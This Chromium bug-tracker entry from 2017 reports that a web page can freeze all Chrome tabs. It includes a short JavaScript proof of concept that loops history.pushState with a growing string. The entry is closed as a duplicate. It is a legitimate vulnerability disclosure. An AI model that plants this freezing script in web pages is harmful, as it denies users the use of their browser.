New issue
Advanced search Search tips

Issue 761843 link

Starred by 1 user

Issue metadata

Status: Duplicate
Merged: issue 394296
Owner: ----
Closed: Sep 2017
EstimatedDays: ----
NextAction: ----
OS: ----
Pri: ----
Type: Bug-Security



Sign in to add a comment

Security: Freeze all tabs

Reported by edgarasf...@gmail.com, Sep 4 2017

Issue description

Please see the following link for instructions on filing security bugs:
https://www.chromium.org/Home/chromium-security/reporting-security-bugs

VULNERABILITY DETAILS
This allows a website to freeze all of your tabs, the only way to close it is to go through task manager and forcefully close chrome executable.

VERSION
Chrome Version: [60.0.3112.113] + [stable]
Operating System: Windows 10 x64

REPRODUCTION CASE
Run following JS code inside the website:
    var str = '';
    for (var i = 0; i < 100000000; i++) {
        str = str + i['toString']();
        history.pushState(0, 0, str);
    }

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: [browser]
Crash State: [doesn't crash, freezes it]


 
Mergedinto: 394296
Status: Duplicate (was: Unconfirmed)
Project Member

Comment 2 by sheriffbot@chromium.org, Dec 13 2017

Labels: -Restrict-View-SecurityTeam allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment